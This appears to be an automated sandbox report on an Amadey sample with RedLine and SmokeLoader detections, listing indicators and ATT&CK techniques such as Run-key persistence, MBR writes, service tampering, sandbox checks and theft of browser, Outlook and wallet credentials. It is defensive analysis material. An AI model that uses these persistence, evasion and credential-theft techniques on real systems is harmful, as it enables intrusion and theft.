amadey | 2b48a940abdbb712e70e2da9c2b309a30bd7e8446fb2bc7e913155da7606aa3f

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 11 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1128-341-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-344-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-342-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-346-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-348-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-351-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-356-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-358-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-360-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-362-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline
behavioral1/memory/1128-364-0x00000000052C0000-0x0000000005312000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs

Processes:

XandETC.exeupdater.execonhost.exe

description	pid	process	target process
PID 4996 created 3172	4996	XandETC.exe	Explorer.EXE
PID 4996 created 3172	4996	XandETC.exe	Explorer.EXE
PID 4996 created 3172	4996	XandETC.exe	Explorer.EXE
PID 4996 created 3172	4996	XandETC.exe	Explorer.EXE
PID 4996 created 3172	4996	XandETC.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE
PID 1968 created 3172	1968	conhost.exe	Explorer.EXE
PID 4736 created 3172	4736	updater.exe	Explorer.EXE

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Player3.exenbveek.exe2810.exeC424.bat.exeWScript.exeE3BD.exeE3BD.exe19A7.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	2810.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	C424.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E3BD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E3BD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	19A7.exe

Executes dropped EXE 42 IoCs

Processes:

E3BD.exeE3BD.exeEA37.exeED16.exeE3BD.exeE3BD.exe5EE.exe851.exebuild3.exe19A7.exePlayer3.exess31.exeXandETC.exenbveek.exe2810.exePlayer3.exemstsca.exenbveek.exe88BF.exeBAFB.exeC424.bat.exeupdater.exeE048.exeF2E7.execonhost.exe394108.exenbveek.exenbveek.exe72993574041601362566.exe60711744363166210615.exentlhost.exenbveek.exenbveek.exenbveek.exenbveek.exenbveek.exewjtaraiibtarairgtarainbveek.exenbveek.exenbveek.exe

pid	process
4496	E3BD.exe
1116	E3BD.exe
392	EA37.exe
4520	ED16.exe
212	E3BD.exe
3696	E3BD.exe
3396	5EE.exe
3676	851.exe
780	build3.exe
3048	19A7.exe
3792	Player3.exe
4092	ss31.exe
4996	XandETC.exe
4576	nbveek.exe
3796	2810.exe
5012	Player3.exe
912	mstsca.exe
2928	nbveek.exe
1128	88BF.exe
2904	BAFB.exe
3328	C424.bat.exe
4736	updater.exe
5064	E048.exe
3924	F2E7.exe
1968	conhost.exe
1312	394108.exe
780	nbveek.exe
652	nbveek.exe
2064	72993574041601362566.exe
3776	60711744363166210615.exe
5104	ntlhost.exe
4340	nbveek.exe
5028	nbveek.exe
1172	nbveek.exe
3776	nbveek.exe
1940	nbveek.exe
1908	wjtarai
3844	ibtarai
5080	rgtarai
324	nbveek.exe
4164	nbveek.exe
2936	nbveek.exe

Loads dropped DLL 5 IoCs

Processes:

rundll32.exerundll32.exerundll32.exeAddInProcess32.exe

pid process

5060 rundll32.exe
4256 rundll32.exe
1460 rundll32.exe
4124 AddInProcess32.exe
4124 AddInProcess32.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3212 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
5060	rundll32.exe
4256	rundll32.exe
1460	rundll32.exe
4124	AddInProcess32.exe
4124	AddInProcess32.exe

pid	process
3212	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

E3BD.exe60711744363166210615.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\4dbd1898-d200-4d2a-b39c-a640ea533983\\E3BD.exe\" --AutoStart"	E3BD.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	60711744363166210615.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

96 api.2ip.ua
114 api.2ip.ua
95 api.2ip.ua
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1067

Processes:

BAFB.exe

description ioc process

File opened for modification \??\PHYSICALDRIVE0 BAFB.exe

flow	ioc
96	api.2ip.ua
114	api.2ip.ua
95	api.2ip.ua

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	BAFB.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

E048.exe

pid process

5064 E048.exe
5064 E048.exe
5064 E048.exe

pid	process
5064	E048.exe
5064	E048.exe
5064	E048.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

E3BD.exeE3BD.exeupdater.exeF2E7.exe

description	pid	process	target process
PID 4496 set thread context of 1116	4496	E3BD.exe	E3BD.exe
PID 212 set thread context of 3696	212	E3BD.exe	E3BD.exe
PID 4736 set thread context of 1968	4736	updater.exe	conhost.exe
PID 4736 set thread context of 4412	4736	updater.exe	conhost.exe
PID 3924 set thread context of 4124	3924	F2E7.exe	AddInProcess32.exe

Drops file in Program Files directory 4 IoCs

Processes:

XandETC.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3212 sc.exe
4260 sc.exe
3440 sc.exe
4232 sc.exe
2204 sc.exe
792 sc.exe
3720 sc.exe
1708 sc.exe
2148 sc.exe
924 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3212	sc.exe
4260	sc.exe
3440	sc.exe
4232	sc.exe
2204	sc.exe
792	sc.exe
3720	sc.exe
1708	sc.exe
2148	sc.exe
924	sc.exe

Program crash 7 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1312	4520	WerFault.exe	ED16.exe
3856	3676	WerFault.exe	851.exe
1908	3796	WerFault.exe	2810.exe
4064	1460	WerFault.exe	rundll32.exe
4160	5064	WerFault.exe	E048.exe
2016	3844	WerFault.exe	ibtarai
1780	5080	WerFault.exe	rgtarai

Checks SCSI registry key(s) 3 TTPs 15 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

file.exetaskmgr.exe5EE.exewjtaraiEA37.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5EE.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	wjtarai
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	EA37.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5EE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	EA37.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	EA37.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5EE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	wjtarai
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	wjtarai

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

dllhost.exeAddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AddInProcess32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AddInProcess32.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

1844 schtasks.exe
4832 schtasks.exe
4160 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4056 timeout.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 393 Go-http-client/1.1

pid	process
1844	schtasks.exe
4832	schtasks.exe
4160	schtasks.exe

pid	process
4056	timeout.exe

description	flow	ioc
HTTP User-Agent header	393	Go-http-client/1.1

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.execonhost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 29 IoCs

Processes:

Explorer.EXEC424.bat.exetaskmgr.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	C424.bat.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000007b56914e10004c6f63616c003c0009000400efbe5456c7957b56924e2e000000a4e1010000000100000000000000000000000000000076a722004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe100000003fbc299b5b45d901f7343c906945d901be3135e39160d90114000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000007b56ba4e100054656d7000003a0009000400efbe5456c7957b56ba4e2e000000a5e101000000010000000000000000000000000000009b7e5c00540065006d007000000014000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
